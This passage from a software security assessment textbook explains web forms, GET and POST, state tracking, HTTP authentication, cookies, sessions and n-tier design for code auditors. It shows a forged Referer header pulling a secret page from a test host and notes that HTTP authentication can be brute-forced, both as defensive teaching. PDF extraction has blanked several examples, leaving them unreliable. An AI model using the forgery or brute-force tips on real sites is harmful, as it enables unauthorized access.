construct Web pages that request user input and then relay it back to the server. A 

basic HTML form has an action, a method, and variables. The action is a URI that 

corresponds to the resource handling the filled-out form. The method is GET or POST, 

and it determines which method the client uses to transmit the filled-out form. The 

variables are the actual content of the form, and designers can use a few basic types 

of variables. Here's a brief example of a form: 

<form method="GET" action="http://test.com/transfer.php"> 

Source Account: <select name="source"> 

<option selected value="42424242">42424242</option> 

<option value="82345678">82345678</option> 

</select><br> 

Destination Account: <select name="dest"> 

<option selected value="12345678">12345678</option> 

<option value="82345678">82345678</option> 

</select><br> 

Amount: <input type="input" name="value"><br> 

<input type="Submit" value="Transfer Money"><br> 

</form> 

 

Figure 17-1 shows what this simple form would look like rendered in a client's browser. 

This form uses the GET method, and the results are submitted to the transfer.php 

page. There are drop-down list boxes for the source account and destination account 

and a simple text input field for the transfer amount. The last input is the submit 

button, which allows users to initiate the transmission of the form contents. 

Figure 17-1. Simple form 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 1032 

 

 

When users submit this form, their browsers connect to test.com and issue a request 

similar to the following: 

GET /transfer.php?source=42424242&dest=12345678&value=123 HTTP/1.1 

Host: test.com 

 

In this request, you can see that the variables in the form have been turned into a 

query string. The source, dest, and value parameters are transmitted to the server 

and submitted via the GET method. 

POST and Content Body 

The third mechanism for transmitting parameters to a Web application is the POST 

method. In this method, the user's data is transferred by using the body of the HTTP 

request instead of embedding the data in the URI as the GET method does. Assume 

you changed the preceding form to use a POST method instead of a GET method by 

changing this line: 

<form method="GET" action="http://test.com/transfer.php"> 

 

To this: 

<form method="POST" action="http://test.com/transfer.php"> 

 

When users submit this form, a request from the Web browser similar to the following 

is issued: 

POST /transfer.php HTTP/1.0 

Content-Type: application/x-www-form-urlencoded 

Content-Length: 40 

 

source= 
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You can see that the parameters are encoded in a similar fashion to the GET request, 

but they are now in the request's content body. 

Parameter Encoding 

Parameters are encoded by using guidelines outlined in RFC 2396, which defines the 

URI general syntax. This encoding is necessary whether they are sent via the GET 

method in a query string or the POST method in the content body. All nonalphanumeric 

ASCII characters are encoded, which includes most Unicode characters and multibyte 

characters. This encoding is described in Chapter 8(? [????.]) "Strings and 

Metacharacters," but we will briefly recap it here. 

The URL encoding scheme is % hex hex, with a percent character starting the escape 

sequence, followed by a hexadecimal representation of the required byte value. For 

example, the character = has the value 61 in the ASCII character set, which is 0x3d in 

hexadecimal. Therefore, an equal sign can be encoded by using the sequence %3d. So 

you can set the testvar variable to the string jim= with the following encoded string: 

testvar= 

 

 

GET Versus POST 

Although you've learned the technical details of GET and POST, you haven't seen the 

difference between them in a real-world sense. Here are the essential tradeoffs: 

 GET requests have more limitations than POST requests. The Web server 

typically limits the query string to a certain number of characters. This 

limitation is usually between 1024 and 8192 characters and is tied to the 

maximum size request header line the Web server accepts. POST requests can 

effectively be any length, although the Web server might limit them to a 

reasonable threshold (or crash because of numeric overflow vulnerabilities). 

 GET requests are easier to create, as you can specify them via hyperlinks 

without having to create an HTML form. POST requests, on the other hand, 

require creating an HTML form or scripted events, which might have display 

characteristics that Web designers want to avoid. 

 GET requests are less secure because they are likely to be logged in Web proxy 

logs, browser histories, and Web server logs. Usually, security-sensitive 

information shouldn't be transmitted in GET requests because of this logging. 

 GET requests also expose application logic to end users by placing variables in 

the Web browser's address bar, which just tempts users to manipulate them. 

 The Referer request header tells the server the URI of the page the client just 

came from. So if the query string used to generate a page contains sensitive 
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variables, and users click a link on that page that takes them to another server, 

those sensitive variables are transferred to the third-party server in the 

Referer header. 

Auditing Tip 

Generally, you should encourage developers to use POST-style requests for their 

applications because of the security concerns outlined previously. One issue to watch 

for is the transmission of a session token via a query string, as that creates a risk for 

the Web application's clients. The risk isn't necessarily a showstopper, but it's 

unnecessary and quite easy for a developer or Web designer to avoid. 

 
 

8.4.4 State and HTTP Authentication 

HTTP is a straightforward request and response protocol that's stateless by design. 

Web servers don't keep track of what a client has requested in the past, and they 

process each request in a vacuum, using only the information in the actual request 

header and body. Most Web applications, however, must be able to maintain state 

across separate HTTP requests. They need to remember information such as who has 

logged in successfully and which Web client goes with which bank account. Grafting 

state tracking on top of HTTP can be done in a few different ways, discussed in the 

following sections. Security vulnerabilities related to the underlying stateless nature 

of HTTP are quite prevalent in Web code, so it's worth spending time reviewing the 

basic concepts and issues of state tracking. 

State 

It's important to understand the distinction between a stateless system and 

a system that maintains state (that is, a stateful system). A stateful system 

has a memory; it keeps track of events as they occur and cares about the 

sequence of events. A stateless system has no such memory. In general, 

every time you provide the same event to a stateless system, you get the 

same result. This isn't true for stateful systems because the previous events 

you have supplied can affect the result. 

A good example of state tracking can be found in firewall technology. 

Firewalls take packets off the network and decide whether each packet is 

safe. Safe packets are forwarded on to the protected network, and 

dangerous packets are rejected or ignored. A stateless firewall makes its 

decision by looking at each packet in isolation. A stateful firewall, however, 

has a memory of past packets that it uses to model active connections on the 

31051536.html
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network. When a stateful firewall analyzes a packet, it can determine 

whether that packet belongs to a legitimate connection it has witnessed 

previously. Stateless firewalls can base their decisions only on the contents 

of the packet they intercepted and analyzed in a vacuum. Stateful firewalls 

are more complex and error prone, but they are also more powerful and 

potentially let through fewer dangerous packets. 

 

 

Overview 

Even the simplest business Web sites require the Web application to maintain some 

form of state across HTTP requests. To explore some state-tracking concepts, you'll 

use a simple example of a Web application: a Web site for an online financial service. 

Customers should be able to log in, see their balance, and optionally see their secret 

PIN. A plan for the site is laid out in Figure 17-2. 

Figure 17-2. Simple Web application 

[View full size image] 

 
 

The login page is the first page users of the site see. It's responsible for two tasks: 

displaying the login form and handling authentication of users. When users come to 

the login page for the first time, the code for the page displays the login form. When 

users fill in the login form and submit it, the login page attempts to validate the 

username and password entered in the form. If the credentials are valid, the login 

page forwards users to the main page. Otherwise, it displays an error. 

The main page is responsible for displaying users' balances and presenting a menu of 

options. It needs to determine the identity of the user requesting the page so that it 

can retrieve the correct account balance information, and it needs to make sure the 

user has logged in successfully. 

images/17ssa02_alt.jpg
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The secret page is responsible for displaying users' secret PINs. It also needs some 

way of identifying users so that it can look up the correct secret PIN. After all, you 

certainly don't want the application to divulge secret PINs to the wrong users. 

You can isolate two pieces of state information you need to track in this simple 

application: 

 Whether the user is authenticated The main page and the secret page 

shouldn't be available to unauthenticated users. They should have to log in 

successfully on the login page first. 

 The user tied to the Web client making the request Both the main page and the 

secret page need to know which account they should look up for their 

information. 

Because Web servers don't have a memory and don't keep state, you need some way 

to have the Web application remember this information after users log in successfully. 

The following sections describe possible solutions. 

Client IP Addresses 

Web applications can ascertain several details about a client request from the Web 

server, which they can use to try to identify and track users. The client IP address is 

one of the few identifying features the client shouldn't be able to spoof or control, so 

it's sometimes used to maintain state. 

In your application, you could use this information by recording clients' source IP 

addresses when they log in successfully. You could make an entry in a file or database 

that contains the client's IP address and associated account number and solve both 

state requirements. If you need to verify whether the user is authenticated in the 

main page or the secret page, you just check to see whether the client's IP address is 

in the list of authenticated clients. If it matches, you can pull the associated account 

from the list and look up the user's details. 

This scheme might work well for your simple site, but you could definitely run into 

problems. The biggest issue is that if the user is behind a Web proxy, Web cache, or 

firewall, you get a source IP address that's shared with everyone else at that user's 

organization or ISP. Therefore, if users went to the main page or secret page at an 

opportune time, they might be able to retrieve sensitive information from another 

user's account. 

If the client is behind a load-balancing proxy or a firewall device that uses multiple IP 

addresses for its Network Address Translation (NAT) range, you could also run in to 

the problem of users' IP addresses changing in the middle of their sessions. If this 

happens, users would experience intermittent failures when trying to use your Web 

site. Also, if users have logged in from a shared or public machine, a miscreant could 
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come along after users have closed their browsers and go straight to the secret page 

with a new browser. 

All in all, these problems can be major drawbacks. You could certainly try to resolve 

potential conflicts by recording other facts about clients, such as the User Agent string, 

but this scheme is a very poor choice in most situations. 

Auditing Tip 

Tracking state based on client IP addresses is inappropriate in most situations, as the 

Internet is filled to capacity with corporate clients going though NAT devices and 

sharing the same source IP. Also, you might face clients with changing source IPs if 

they come from a large ISP that uses an array of proxies, such as AOL. Finally, there 

is always the possibility of spoofing attacks that allow IP address impersonation. 

There are better ways of tracking state, as you see in the following sections. As a 

reviewer, you should look out for any kind of state-tracking mechanism that relies 

solely on client IPs. 

 

 

Referer Request Header 

One of the HTTP request header fields is Referer, which the Web browser uses to tell 

the server which URL referred the browser to its current request. For example, if 

you're at the page http://www.aw-bc.com/ and click a link to 

http://www.neohapsis.com/, your Web browser issues the following request to the 

www.neohapsis.com server: 

GET / HTTP/1.0 

Host: www.neohapsis.com 

Referer: http://www.aw-bc.com/ 

 

Web developers sometimes use the Referer field to try to enforce a certain page flow 

order by ensuring that users come only from valid pages. However, this method of 

enforcement is very easy to circumvent. 

Say that in your sample application, you track users by IP address. As part of your 

security controls, but you also want to make sure users get to the secret page only by 

coming from the main page. This way, attackers can't wait for someone else in the 

organization to log in and then go straight to the secret page. You decide to add some 

code to make sure users can get to the main page only by coming from the login or 

secret page. This approach might seem to prevent pages from giving out PINs and 

account balances to unauthenticated users. As you might suspect, however, it's 

http://www.aw-bc.com/
http://www.neohapsis.com/
http://www.neohapsis.com/
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fundamentally flawed because the Referer header is a client request parameter, and 

clients can set it to whatever they like! For example, here's what happens when you 

enter a request manually with the openssl s_client utility: 

test # openssl s_client -connect test.test.com:443 

GET /test/secret HTTP/1.0 

HTTP/1.1 200 OK 

Date: Sat, 21 Aug 2006 09:17:50 GMT 

Server: Apache 

Accept-Ranges: bytes 

X-Powered-By: PHP/4.3.0 

Connection: close 

Content-Type: text/html; charset=ISO-8859-1 

 

invalid request 

 

You get an "invalid request" message, indicating that you failed the Referer check. 

Now put the right Referer in there to placate that check: 

test # openssl s_client -connect test.test.com:443 

GET /test/secret HTTP/1.0 

Referer: https://test.test.com/test/main 

 

HTTP/1.1 200 OK 

Date: Sat, 21 Aug 2006 09:23:37 GMT 

Server: Apache 

Accept-Ranges: bytes 

X-Powered-By: PHP/4.3.0 

Connection: close 

Content-Type: text/html; charset=ISO-8859-1 

 

<html> 

<head><title>Secret!</title></head> 

<body> 

<p>The secret PIN is zozopo.</p> 

<p>Click <a href="main">here</a> to go back.</p> 

</body> 

</html> 

 

Oops! The forged Referer header satisfies the check and successfully displays the 

secret page. So, using a Referer header might buy you a modicum of obscurity, but it 

doesn't do much to provide any real security. 
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Note 

The Referer field does have some security value for preventing cross-site reference 

forgery (XSRF) attacks. Jesse Burns of Information security partners published an 

excellent paper on this attack type, available at 

www.isecpartners.com/documents/XSRF_Paper.pdf. 

 

 

Embedding State in HTML and URLs 

The essential trick to maintaining state in HTTP is feeding information to the client 

that you expect the client to include in every request. This way, the client provides all 

the information you need to process the request, or it provides a piece of information 

you can use to retrieve the other needed information from a separate source. 

In the sample application, if you can come up with a way to always have clients 

provide the information the server needs to process requests, you have a solution 

that meets your needs for state tracking. 

In the main and secret pages, you need to know that clients have logged in 

successfully, and you need to know who clients are so that you can retrieve their 

account information. First, examine the second half of the problemidentifying users. 

If you could have clients send usernames along with every request to the main and 

secret pages, you could determine who the users are and pull the correct information. 

Because you control every link to the main and secret pages, and every link is in HTML 

written by the Web application code, you can simply have every link contain a 

parameter that identifies users. For this method to work, you can't miss any path to 

the main or secret pages, or the username isn't sent and the page can't process the 

results. You can pass this information in a few ways, but the most popular methods 

are hidden fields in HTML forms and query strings. 

HTML forms enable you to have hidden fields, which are variables set in the form but 

not visible to users in their Web browsers. In a form where you want to add a hidden 

username, you just need to add a line like this: 

<input type="hidden" name="username" value="jimbo"> 

 

Hidden fields work well for forms, but this application mainly uses hyperlinks to get 

from one page to the next. You could rewrite the application to use forms, or you 

could pass along the state information as part of a query string (or path information). 

For example, in the main page, instead of printing this line: 

<p>Click <a href="secret">here</a> to see your secret PIN.</p> 

http://www.isecpartners.com/documents/XSRF_Paper.pdf
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You could print this line: 

<p>Click <a href="secret?username=jimbo">here</a> to see your secret 

PIN.</p> 

 

If you rewrite the application to pass the username along with every request, the 

application would certainly be functional. However, it wouldn't be secure because 

attackers could just go straight to the main or secret page and provide the name of 

the person whose account they wanted to view. 

Auditing Tip 

Although this sample application might seem very contrived, it is actually 

representative of flaws that are quite pervasive throughout modern Web applications. 

You want to look for two patterns when reviewing Web applications: 

1. The Web application takes a piece of input from the user, validates it, and then 

writes it to an HTML page so that the input is sent to the next page. Web 

developers often forget to validate the piece of information in the next page, 

as they don't expect users to change it between requests. For example, say a 

Web page takes an account number from the user and validates it as 

belonging to that user. It then writes this account number as a parameter to a 

balance inquiry link the user can click. If the balance inquiry page doesn't do 

the same validation of the account number, the user can just change it and 

retrieve account information for other users. 

2. The Web application puts a piece of information on an HTML page that isn't 

visible to users. This information is provided to help the Web server perform 

the next stage of processing, but the developer doesn't consider the 

consequences of users modifying the data. For example, say a Web page 

receives a user's customer service complaint and creates a form that mails the 

information to the company's help desk when the user clicks Submit. If the 

application places e-mail addresses in the form to tell the mailing script where 

to send the e-mail, users could change the e-mail addresses and appear to be 

sending e-mail from official company servers. 

 

To secure this system, you need to pass something with all requests that attackers 

would have a hard time guessing or faking. You could definitely improve on this 

system until you have a workable solution. For example, you could generate a large 

random number at login and store it in a database somewhere. To fake logged-in 
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status, attackers would have to guess that random number, which could be difficult. 

For now, however, take a brief look at HTTP authentication in the next section. 

HTTP Authentication 

HTTP has built-in support for authenticating users through a generic 

challenge/response mechanism. Many enterprise sites don't use this protocol support; 

instead, they opt to implement their own authentication schemes or, more often, use 

an authentication framework provided by their infrastructure/middleware 

components. However, you still encounter HTTP authentication in real-world 

applications and Web sites, although it's more often used to protect secondary 

content, such as administrative interfaces, or for less enterprise-oriented sites, such 

as Web forums. 

The most widely supported authentication scheme is Basic Authentication. Basically, 

a username and password is collected from the user and base64-encoded. The 

base64 string is sent over the network to the server, which decodes it and compares 

it with its authentication database. This scheme has myriad security vulnerabilities, 

with the most significant problem being that the username and password are 

effectively sent over the network in clear text. Therefore, this method can be quite 

risky for authentication over clear-text HTTP. Its security properties are an order of 

magnitude better when it's used over SSL, but it's still recommended with trepidation. 

If the browser is somehow tricked into authenticating with cached credentials over a 

clear-text connection, the user's password could be seized. 

The other authentication scheme specified in the HTTP RFCs is Digest Authentication, 

a challenge/response authentication protocol. The level of security it provides, 

however, depends quite a bit on the version and options used. The original 

pre-HTTP/1.1 specification of Digest Authentication was designed so that the HTTP 

server is still completely stateless. Therefore, the HTTP server isn't required to 

remember challenges it presents to the client, and the protocol is susceptible to 

considerable replay attacks. The HTTP/1.1 specifications have the option of a form of 

stateful tracking of challenges issued by the server, which eliminates the 

straightforward replay attacks. Its security properties when used with SSL are 

arguably quite good when either version is used. However, Digest Authentication is 

not supported on all platforms, and it also requires that passwords be stored in 

plaintext at the server. As such, Digest Authentication is not commonly seen in web 

applications. 

There are also proprietary authentication schemes implemented over HTTP, 

particularly for Microsoft technologies. For example, IIS supports Integrated 

Windows Authentication, which uses Kerberos or Windows NT Lan Manager (NTLM) 

for authentication but works only over SSL connections. There's also the possibility 

of .NET Passport authentication support, which ties into Microsoft's global Passport 

service. 
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Auditing Tip 

Weaknesses in the HTTP authentication protocol can prove useful for attackers. It's a 

fairly light protocol, so it is possible to perform brute-force login attempts at a rapid 

pace. HTTP authentication mechanisms often don't do account lockouts, especially 

when they are authenticating against flat files or local stores maintained by the Web 

server. In addition, certain accounts are exempt from lockout and can be brute-forced 

through exposed authentication interfaces. For example, NT's administrator account 

is immune from lockout, so an exposed Integrated Windows Authentication service 

could be leveraged to launch a high-speed password guessing attack. 

You can find several tools on the Internet to help you launch a brute-force attack 

against HTTP authentication. Check the tools sections at www.securityfocus.com and 

www.packetstormsecurity.org. 

 

To enable HTTP-supported authentication, you must configure your Web server to 

protect certain content in your Web tree. When a Web browser attempts to request 

protected content for the first time, the server returns a 401 message, which 

indicates the access request was unauthorized. This 401 response includes a 

WWW-Authenticate header field that informs the client which authentication methods 

are supported. This header field also contains challenges for any supported 

authentication mechanisms that use a challenge/response protocol. 

The Web browser then presents the user with an authentication dialog. It resubmits 

the original request to the Web server, but this time it includes an Authorization 

header containing a response appropriate for the selected authentication method. If 

the authentication information is invalid, the server again responds with a 401 

message, and the WWW-Authenticate header field has new challenges. The behavior 

that makes this system come together is that if a browser is successfully 

authenticated to a protected resource, it continues to send the Authorization header 

with every subsequent request to that resource and anything below that resource in 

the Web hierarchy. 

Note that the server is still stateless, and the client Web browser is what makes the 

user experience seem fluid. The server always responds to an incorrect or missing 

Authorization header with a 401 message. It's up to the client to attempt to provide 

a correct Authorization header by querying the user and retrying the request. If the 

client does authenticate successfully, protected dynamic applications are able to 

retrieve the username from the Web server, which they can use for tracking state if 

necessary. 

If you want to modify the sample application so that it's protected by HTTP 

authentication, first you need to configure the Web server to guard the application's 

http://www.securityfocus.com/
http://www.packetstormsecurity.org/
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Web pages. For example, with Apache, you place an .htaccess file in the same 

directory as the Web application code: 

AuthUserFile /scan/apache/htdocs/text/.htpasswd 

AuthGroupFile /dev/null 

AuthName HappyTown 

AuthType Basic 

<Limit GET POST> 

require user jim 

</Limit> 

 

You should get rid of the login page, as the Web server and Web browser would work 

together to manage collection of usernames and passwords and perform 

authentication. You could simply rewrite the main and secret pages so that they check 

for the server variable REMOTE_USER, which is set to the client's username if the client 

authenticates successfully. 

Auditing Hidden Fields 

In the early days of Web development, authentication was usually handled 

by HTTP and the Web server, and state maintenance was primarily done 

through hidden form fields and query string parameters. Many programmers 

who are developing today's n-tier distributed enterprise Web applications are 

the same developers who were cranking out Perl and CGI Web applications 

back then. In many large Web applications, you can find an occasional 

throwback to the simpler days of Web coding, probably in places where the 

developer felt rushed or didn't have time to go back and refactor the code. 

A reasonable rule of thumb these days is that state maintenance done with 

hidden form fields is appropriate only for information that's temporarily 

collected before it's validated and processed. For example, if a survey 

requires users to fill out three pages of forms, you might expect to see values 

from the first page as hidden parameters on the second and third pages. 

As a code reviewer, you should watch for data that's propagated via hidden 

fields after it has been validated or data that's placed into hidden fields to 

facilitate the Web server's future processing. In both cases, developers often 

don't consider the impact of users changing the data after the initial 

submission. 

 

 

Cookies 
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Cookies are a generic HTTP mechanism for storing small pieces of information on a 

client's Web browser. After you store a cookie on a Web browser, every subsequent 

request the browser makes to your Web application includes that cookie. Therefore, 

cookies are ideal for tracking clients and maintaining state across requests. Most 

enterprise Web applications and Web-oriented programming frameworks build state 

management entirely around cookies. 

To set a cookie, the Web application instructs the Web server to send a HTTP response 

header named Set-Cookie. It looks like this: 

Set-Cookie: NAME=VALUE; expires=DATE; path=PATH; domain=DOMAIN; secure 

 

The first part of the Set-Cookie header is the actual content of the cookie, which 

consists of a single cookie name and a single cookie value. They are encoded with the 

same style of hexadecimal encoding used for GET and POST parameters. If you want to 

set multiple variables, you actually set multiple cookies instead of using something 

like the & character. All relevant cookies are sent to the Web server, as explained later 

in this section. 

The expires tag lets the server specify an expiration date/time for the cookie. After 

the specified time, the browser stops sending the cookie and deletes it. This tag is 

optional. A cookie with the expires tag is known as a persistent cookie, and a cookie 

without the tag is a nonpersistent cookie. Nonpersistent cookies are temporary in 

nature; they exist only in the browser's memory and are discarded when the browser 

is closed. Persistent cookies have more permanence, as they are stored on the client's 

file system by the Web browser and persist when the browser is closed. 

The path and domain tags help the browser know when to send the cookie. Every time 

a browser makes a Web request, it searches through its list of cookies to see whether 

any that need to be sent. First, it checks the domain name of the Web server against 

the domains specified in its list of cookies. This check is a substring search based on 

the tail of the domain name, so a cookie set with a domain of .test.com is sent to the 

servers www.test.com, www2.test.com, and this.is.a.test.com, for example. 

If the browser finds any cookies matching the specified domain, it then checks the 

path parameter. The path of the Web request is checked against the path specified 

when the cookie was set. This check is also a substring search, but it works from the 

head of the path. So a path= tag in the Set-Cookie header causes the cookie to match 

every request, as every Web request starts with a / character. A tag such as path= 

causes the cookie to be sent to every Web request starting with /test, such as /test/, 

/test/index.html, or /test/test2/test.php. 

http://www.test.com/
http://www2.test.com/
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Cookies can also be marked secure or nonsecure with the optional secure tag. A 

secure cookie is sent only over HTTPS, whereas a nonsecure cookie is sent over both 

HTTP and HTTPS. 

For each Web request, the browser selects all cookies that seem appropriate by 

evaluating the Web request against the domain and path attributes of the cookies in its 

internal store. It then concatenates all matching cookies into a single request header 

field, which looks like this: 

Cookie: NAME1=VALUE1; NAME2=VALUE2; NAME3= 

 

In your sample Web application, you could make use of cookies to handle tracking 

user state. To do this, you add code to set a cookie if the user logs in successfully, and 

then you add code to check for the cookie and pull the username in the main and 

secret pages. If you compare this approach to the solution of rewriting every page 

request to contain a hidden field, you can see that the cookie solution is much simpler 

and saves you a lot of trouble. Now imagine a typical Web site with at least 30 

different pages and a few hundred potential page traversals, and you can see that the 

cookie approach is an order of magnitude simpler than other state-tracking schemes. 

Auditing Tip 

When you review a Web site, you should pay attention to how it uses cookies. They 

can be easy to ignore because they are in the HTTP request and response headers, 

not in the HTML (usually), but they should be reviewed with the same intensity you 

devote to GET and POST parameters. 

You can get access to cookies with certain browser extensions or by using an 

intercepting Web proxy tool, such as Paros (www.parosproxy.org) or SPIKE Proxy 

(www.immunitysec.com). Make sure cookies are marked secure for sites that use SSL. 

This helps mitigate the risk of the cookie ever being transmitted in clear text because 

of deliberate attacks, such as cross-site scripting, or unintentional configuration and 

programming mistakes and browser bugs. 

 

 

Sessions 

You have surveyed all the technology building blocks a Web application can use to 

track state. You can pay attention to inherent attributes of the HTTP request, such as 

the client IP address or the Referer tag. You can embed information the application 

needs in dynamically created HTML, in hidden form fields, or in URIs by using path 

information and query strings. You can rely on HTTP authentication mechanisms to 

have the Web server determine who the authenticated user is for every request. 

http://www.parosproxy.org/
http://www.immunitysec.com/
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Finally, you can use cookies to store information on the Web browser that are 

transmitted by the browser with every subsequent request. 

In the early days of dynamic Web programming, Web developers created a useful 

abstraction for tracking state known as a session. A session is basically a data 

structure that serves as a container for data associated with a Web client. Sessions 

are data stores that are maintained on the server in memory, on disk, in a database, 

or as component objects in an application server. A Web application stores data and 

objects in a session and retrieves them later through a simple API. 

The session is tied to a user through the use of a session token, which is a unique 

identifier that the server can use as a unique key for accessing the session data 

structure. Session tokens are usually large random numbers created for users when 

they log in or make their first request to the Web site. Ideally, this token should be 

known only by the client, making it a secure mechanism for uniquely identifying a 

user. 

The session system is supported by using one of the state-tracking mechanisms you 

examined earlier. The only information users need to send with every request is the 

session token, so it works well with multiple schemes. The most common 

implementation, however, is with cookies. When a user accesses a site, the Web 

server creates a session and sets a cookie containing the session token. Every 

subsequent request from that user includes the cookie containing the session token. 

Even though cookies are the most popular mechanism for session identification, 

session tokens may be passed in hidden form fields, in query string parameters, or in 

rare cases, as URI path components. 

The beauty of the session abstraction is that after a session is established, the Web 

application code has a universal and simple mechanism for associating data with a 

specific user. Sessions are typically used in two different ways. First, they are used as 

a secure mechanism for storing state information that's globally useful to all pages in 

a Web application. For example, in your sample Web site, the login page could store 

the username of the user in the session after a successful login. The main and secret 

pages then only need to check the session to see whether that username has been set. 

There's no way a remote user could alter the session and add or change the username 

unless a vulnerability existed in the session management code or the Web application. 

In general, the session can be used as a safe place to store information you don't 

want the client to have direct access to. 

Second, sessions are used to temporarily store information, in much the same way 

developers use hidden form fields. One page might take data from the user and 

validate it, and then instead of writing it to the HTML as hidden fields, the page stores 

it in the session. That way, developers could be sure the user couldn't tamper with the 

session contents, and the data in the session could be trusted for use in a subsequent 

page. 
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Sessions are usually provided by a Web framework or Web-oriented language, 

although they can be implemented by application developers. The details vary across 

different frameworks, but sessions are often created automatically the first time a 

client connects to a Web site. Languages such as PHP and frameworks such as ASP 

automatically include session support that's backed by cookies. 

Note 

Sessions are an important component of Web applications. You learn how to review 

them from a security perspective in "Problem Areas(? [????.])" later in this chapter. 

8.4.5 Architecture 

Now that you understand the fundamentals of HTTP and the basic techniques for 

addressing the problems of state and authentication, you can examine the problem 

domain of enterprise Web applications. There are several technology constraints as 

well as some high-level design concepts that drive modern Web application design. 

Enterprise Web applications can be quite complex, and it's worthwhile to explore 

some reasons these systems tend toward complicated designs. The following sections 

discuss some common drivers toward abstraction in the Web problem domain, and 

you learn about common architecture decisions for Web applications. 

Redundancy 

As programmers perfect their skills, naturally they try to make their jobs easier by 

writing reusable code and creating tools and frameworks. Web programming has a lot 

of redundant code, so Web programmers tend to create frameworks to abstract out 

the redundancy. 

For example, say a Web site has 20 different actions users can perform, such as 

checking a balance, paying a bill, and reporting a fraudulent charge. A 

straightforward implementation might have 20 different servlets, one for each user 

action, and a considerable amount of overlapping code. All the servlets need to check 

that users are authenticated and authorized for various resources; they all need to 

access the database and the session; and they all need to present HTML results to 

users. One simple refactoring would be moving common functions into objects that all 

the servlets use. This would get rid of a lot of redundant code for tasks such as 

authentication and make the application easier to maintain, as changes need to be 

made in only one place. There are plenty of other opportunities for refactoring out 

redundant code. For example, the programmer might observe that some servlets 

behave similarly and decide to merge them into one servlet that behaves differently 

based on a configuration file. 

What does abstraction mean from a security perspective? These kinds of 

modifications are usually beneficial because they increase an application's 
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consistency, readability, and simplicity, all of which are usually good for security. That 

said, it's possible to overdo it. There's something to be said for having highly related 

sections of code located close to each other. It's easy to abstract out functionality so 

that security-critical logic is spread out over multiple files. When this is done in a way 

that makes it difficult to remember the application's entire control flow, developers 

increase the risk of a flaw caused by incorrect logic across multiple modules. 

Presentation Logic 

Presentation logic is code that's primarily concerned with displaying and formatting 

data, as opposed to business- or application-oriented logic that's responsible for tasks 

such as communicating with databases or authenticating users. Web application 

development is often a collaborative effort between graphical designers and 

application programmers, so this division can make sense from a logistical 

perspective. If the presentation code can be cleanly divorced from the rest of the code, 

Web application programmers can be responsible for performing the correct actions 

on the back end and getting the correct data to the presentation logic, and the more 

graphically oriented designers can be responsible for laying out the presentation of 

the data and making sure it looks appealing. 

In a Web application, this separation between presentation and application logic can 

generally be accomplished by having each page first call into other code to perform 

the necessary processing and gather the required data. The application programmer 

creates this first part of the code, which is responsible for performing actions users 

request and then filling out a data structure. The second part of the code, the 

presentation logic, is responsible for rendering the contents of the data structure into 

HTML. 

XML can be used for this purpose, too; application developers can write code that 

presents an XML document to the presentation logic. This presentation logic could be 

an XSLT stylesheet written by a designer that instructs the server how to render the 

data into HTML. 

Business Logic 

The programs that make up a Web application have to deal with the vagaries of a 

HTTP/HTML-based user interface as well as the actual business logic that drives the 

site. Business logic is a somewhat nebulous term, but it generally refers to procedures 

and algorithms an application performs that directly relate to business items and 

processes. For example, in a banking Web site, business logic includes tasks such as 

looking up bank accounts, enforcing rules for money transfers, and verifying a 

request for a credit limit increase. Business logic doesn't include tasks related to the 

Web site infrastructure or interface, such as expiring a user's token, making sure a 

user is authenticated to the Web site, formatting HTML output, and handling missing 

form input in a user request. 
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Another related concept is business objects, which encapsulate business logic in an 

object-oriented framework. For example, a banking site might define business 

objects such as Customer, Account, and TRansfer, and define methods that carry out 

business logic, such as Account.getStatement() and TRansfer.Validate(). 

N-Tier Architectures 

Many enterprise Web applications are constructed with multiple tiers, in which Web 

site functionality is divided into separate components and distributed across multiple 

servers, as shown in Figure 17-3. 

Figure 17-3. N-tier architecture 

 

 

The client tier is usually a client's Web browser, although some Web applications 

might have Java applets or other client-side code that performs user interface 

functions. Mobile phones are also included in this tier. For Web services, the client tier 

can include normal client applications that talk to the Web server via Simple Object 

Access Protocol (SOAP). (Web services and SOAP are discussed more in Chapter 18(? 

[????.]).) 

The Web tier is essentially the Web server. This tier is typically responsible for 

handling user requests, dispatching requests to the business logic, handling the 

results from the business logic, and rendering results into HTML for end users. The 

Web tier is composed of Web server software; application code such as ASP, PHP, or 

Java servlets; and HTML and any accompanying presentation logic. 
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The business tier handles the business logic of a Web application. This tier handles 

requests from the Web tier to perform business functions. It's often implemented by 

using an application server that hosts business objects. These objects are 

implemented as software components, such as COM objects, Web services, or 

JavaBeans. Java, .NET, and Visual Basic are popular choices for this functionality. 

The data tier handles storing and retrieving data for the Web application. It typically 

includes machines that run a relational database management system (RDBMS) and 

legacy machines containing enterprise data. The business tier talks to the data tier to 

retrieve the data needed to carry out the business logic. The Web tier might also talk 

to the data tier if it needs to handle user authentication and session management. 

Client tiers are usually nothing more than users with Web browsers on the Internet. 

Many Web applications combine the Web tier and the business tier into one tier and 

implement all Web site functionality in programs that run on the Web server. This 

approach is usually a solid choice for small to medium applications. The data tier is 

usually a database server running on its own machine or a mainframe with some sort 

of middleware bridge, such as Open Database Connectivity (ODBC); however, some 

smaller sites place the database server directly on the Web server. 

Applications with multiple business and data tiers aren't uncommon, especially in the 

financial sector. An extreme, real-world example of this multitiered architecture is a 

Web system composed of a Java servlet Web tier talking to a Web Services business 

tier written in Visual Basic, talking to a COM object business tier written in Visual Basic, 

talking to a COM object business tier written in C++, talking to a proprietary business 

tier server written in C++, talking to a back-end business tier running on a legacy 

system. The security logic for a lot of the system is located on the legacy system, 

which effectively relegated an audit of several hundred thousand lines of source code 

to a black box test. 

Business Tier 

The business tier is typically an application server containing object-oriented software 

components that encapsulate the Web application's business logic. For example, if a 

user logs in to a banking Web site, the Web tier would probably handle authentication 

and setting up the user session. It would then tell the business tier that a user logged 

in via an RPC-style message or object invocation. This notification could cause the 

business tier to create a User object, which would contact the back-end database to 

retrieve information about that user, such as the user's account numbers. The User 

object could in turn create Account objects for all that user's accounts. Those Account 

objects could contact the database to retrieve account information about the user's 

accounts. These objects stay alive in the business tier and keep the account 

information in memory, anticipating a request from the Web tier. 
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If the user later clicks a link for a checking account balance inquiry, the Web tier 

brokers the request and then requests an account overview from the business tier. 

The business tier then retrieves that information from the appropriate Account object 

and hands it directly to the Web tier. 

The business tier is responsible for maintaining its own state across requests from the 

Web tier. Business objects usually stay alive in memory until their corresponding 

users log out from the Web site. Ideally, the business tier should be independent from 

the Web tier. If another application needs access to the same business information or 

functionality, it should be able to interface directly with the business tier. Therefore, 

distributed component technologies, such as Web Services, can work well to facilitate 

this degree of interoperability, although simpler technologies are often chosen for the 

sake of performance. 

